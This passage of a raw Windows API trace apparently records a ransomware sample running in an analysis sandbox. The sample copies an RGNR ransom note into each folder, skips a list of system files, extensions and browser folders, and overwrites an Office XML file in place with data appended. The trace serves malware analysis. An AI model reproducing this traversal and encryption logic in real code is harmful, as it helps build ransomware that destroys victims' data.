(lpString1="MSSOAP30.DLL", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".") returned 1 [0060.452] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="..") returned 1 [0060.452] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0060.452] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".") returned 1 [0060.452] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="..") returned 1 [0060.452] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2=".") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="..") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Windows") returned -1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Windows.old") returned -1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Tor browser") returned -1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Internet Explorer") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Google") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Opera") returned -1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Opera Software") returned -1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Mozilla") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Mozilla Firefox") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="$Recycle.Bin") returned 1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="ProgramData") returned -1 [0060.452] lstrcmpiW (lpString1="Office Setup Controller", lpString2="All Users") returned 1 [0060.452] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0060.452] lstrcpyW (in: lpString1=0x1eb638, lpString2="Office Setup Controller" | out: lpString1="Office Setup Controller") returned="Office Setup Controller" [0060.452] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0060.452] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0060.452] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RGNR_FD7BD9FC.txt" [0060.452] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0060.468] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*" [0060.468] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0060.468] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0060.468] lstrcpyW (in: lpString1=0x1ea77c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0060.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76486fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76486fc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0060.494] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0060.494] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76486fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76486fc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.494] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0060.494] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0060.494] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2=".") returned 1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="..") returned 1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Windows") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Windows.old") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Tor browser") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Internet Explorer") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Google") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Opera") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Opera Software") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Mozilla") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="Mozilla Firefox") returned -1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="$Recycle.Bin") returned 1 [0060.494] lstrcmpiW (lpString1="Access.en-us", lpString2="ProgramData") returned -1 [0060.495] lstrcmpiW (lpString1="Access.en-us", lpString2="All Users") returned -1 [0060.495] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0060.495] lstrcpyW (in: lpString1=0x1eab90, lpString2="Access.en-us" | out: lpString1="Access.en-us") returned="Access.en-us" [0060.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" [0060.495] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" [0060.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\RGNR_FD7BD9FC.txt" [0060.495] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0061.393] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*" [0061.393] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.393] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.393] lstrcpyW (in: lpString1=0x1e9cbe, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x76d4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76d4e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.393] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.393] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x76d4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76d4e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.393] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.393] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.393] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0061.393] lstrcmpiW (lpString1="AccessMUI.XML", lpString2=".") returned 1 [0061.393] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="..") returned 1 [0061.393] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0061.393] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2=".") returned 1 [0061.393] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="..") returned 1 [0061.393] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d4e0e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76d4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.393] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0061.393] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0061.393] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.393] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0061.393] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0061.393] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.393] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x76d4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76d4e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x76d4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76d4e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0061.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.394] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="AccessMUI.XML" | out: lpString1="AccessMUI.XML") returned="AccessMUI.XML" [0061.394] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned=".XML" [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="autorun.inf") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="boot.ini") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="bootfont.bin") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="bootsect.bak") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="bootmgr") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="bootmgr.efi") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="bootmgfw.efi") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="desktop.ini") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="iconcache.db") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="ntldr") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="ntuser.dat") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="ntuser.dat.log") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="ntuser.ini") returned -1 [0061.394] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="thumbs.db") returned -1 [0061.394] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.394] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.394] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.395] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.395] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.395] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.395] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0061.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.395] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1349) returned 1 [0061.396] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x53c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.396] GetProcessHeap () returned 0x580000 [0061.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.396] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.397] VirtualAlloc (lpAddress=0x0, dwSize=0x545, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.398] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.398] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.398] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x545, lpOverlapped=0x0) returned 1 [0061.398] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.398] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x545, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x545, lpOverlapped=0x0) returned 1 [0061.398] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x545, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.398] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.398] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x545, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.398] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.399] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, 